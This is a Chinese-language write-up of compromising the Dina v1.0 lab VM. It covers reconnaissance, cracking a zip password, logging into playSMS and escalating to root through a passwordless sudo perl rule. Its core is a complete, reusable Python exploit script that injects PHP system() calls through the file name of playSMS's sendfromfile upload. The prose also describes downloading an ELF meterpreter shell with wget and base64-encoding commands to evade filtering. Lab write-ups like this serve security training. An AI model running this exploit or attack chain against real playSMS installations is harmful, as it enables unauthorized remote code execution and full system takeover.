渗透测试之Dina-v1.0

余生颓废 提交于 2019-12-16 04:21:38

0x00 信息搜集

主机发现:
在这里插入图片描述
端口扫描:只开放了80端口,只能从web服务入手
在这里插入图片描述
上面显示存在robots.txt。
接着查看robots.txt
在这里插入图片描述
分别浏览目录,发现一个nothing文件夹存在敏感信息:显示较多密码,可以搜集起来组合成为一个字典,可能存在用处。
在这里插入图片描述
其余目录都是这个亚子的:
在这里插入图片描述
尝试进行一下目录扫描:发现一个robots中没有显示的目录:secure
在这里插入图片描述

0x01 渗透测试过程:

访问secure发现存在一个压缩包,但是存在密码,将之前的密码全部导入,尝试爆破,密码为freedom:
在这里插入图片描述
扩展名是mp3文件,但是打开显示失败,用文件类型分析工具没有匹配到特征码:
在这里插入图片描述
在这里插入图片描述
直接用记事本打开,发现是一个文本文件,里面有下一步的提示:
在这里插入图片描述
访问上面的url,找到系统后台,更加文本的提示,登录名是touhid,密码是一个弱口令,使用之前按拿到的密码字典尝试爆破。(因为存在token校验,所以只能手动爆破),然后获取到正确的密码diana,成功进入后台:
在这里插入图片描述
在这里插入图片描述
在找到后台的同时发现是playSMS的系统,尝试使用searchexploit查找可用的漏洞,发现存在较多,但是都是需要登录后台:
在这里插入图片描述
经过尝试存在文件文件上传位置的命令执行,且有可利用的msf框架:
使用相应的模块,然后配置参数,一键攻击成功。
在这里插入图片描述
其中有一个很重要的点就是设置漏洞路径,如果文件上传的路径不正确就无法成功攻击。
在这里插入图片描述

0x02 手动测试

关于提权放到后面再讲。虽然存在msf攻击框架,但是还是尝试使用手工测试,并且写出相应的自动化脚本:
阅读关于漏洞的介绍,可以看到是利用文件上传是,对文件的篡改,造成代码执行:(具体的细节可以等提权成功后将代码全部扒下来进行审计)
在这里插入图片描述
文件上传位置:
在这里插入图片描述
就是下面这个亚子的,在红框的位置输入想执行的php代码即可:
在这里插入图片描述
已经知道原理了,可以使用脚本写一个自动化代码:

#coding:utf-8
import requests
import re
from optparse import OptionParser  #用于生成帮助文档

def get_csrf(url,headers):#每一次上传都需要获取token
    finall_url=url+"/index.php?app=main&inc=feature_sendfromfile&op=list"
    response=requests.get(finall_url,headers=headers)
    data=response.content.decode()
    token=re.findall(r'<input\stype="hidden".*?value="(.*?)">',data,re.DOTALL)[0]
    #print(token)
    return token

def code_execute(url,headers,token,payload): #执行代码
    finall_url=url+"/index.php?app=main&inc=feature_sendfromfile&op=upload_confirm"
    #print(finall_url)
    file = {
        "X-CSRF-Token": (None,token),
        "fncsv": ("<?php system("+payload+");die();?>" + ".php", "11111111", "text/csv"),
        "fncsv_dup": (None,"1")
    }
    #print(file)
    try:
        response=requests.post(url=finall_url,headers=headers,files=file)
        data=response.content.decode()
        result=re.findall(r"Uploaded file:\s(.*)",data,re.DOTALL)
        return result[0]
    except:
        print("文件上传失败,代码执行失败")


def main():
    parser = OptionParser()
    parser.add_option("-c", "--cookie", dest="cookie", help="请首先登录系统获取cookie信息")
    parser.add_option("-u", "--url", dest="url", help="请输入playSMS系统路径:")
    (options, args) = parser.parse_args()  # 取值并且存入options
    cookie = "PHPSESSID="+options.cookie
    url=options.url
    #url = "http://192.168.56.103/SecreTSMSgatwayLogin"
    headers={
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0",
        "Referer":url+"/index.php?app=main&inc=feature_sendfromfile&op=list",
        "Cookie":cookie
    }
    while True:
        payload=input("请输入想执行的命令:(输入back表示退出)")
        if payload=="back" or payload==None:
            print("退出程序!!!")
            break
        else:
            token=get_csrf(url=url,headers=headers)
            result=code_execute(url=url,headers=headers,token=token,payload=payload)
            print(result)
            print(payload)



if __name__ == '__main__':
    main()

代码运行之后的效果:(没有编写自动登录功能,需要手动获取cookie)
在这里插入图片描述
之后尝试使用命令注入下载shell文件,但是下载php类型的shell一直失败,最后重新生成elf型payload,然后通过wget下载执行。
首先生成shell:
在这里插入图片描述
开启简易http服务:
在这里插入图片描述
然后通过命令下载。下载过程发现似乎存在防护措施,或者是其他格式问题,有些命令一直无法执行,然后通过base64编码,然后让php脚本自动解码执行命令:
在这里插入图片描述
通过直接执行elf型shell,成功反弹meterpreter到监听机器:
在这里插入图片描述

0x03 提权

这里提权可以使用sudo的错误配置:首先通过命令查看www-data用户是否拥有sudo命令的权限
在这里插入图片描述
发现任意用户可以不使用密码直接调用/usr/bin/perl程序,先调用程序,查看这个程序拥有的权限:
在这里插入图片描述
是root权限,通perl获取root权限的shell环境:
在这里插入图片描述

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!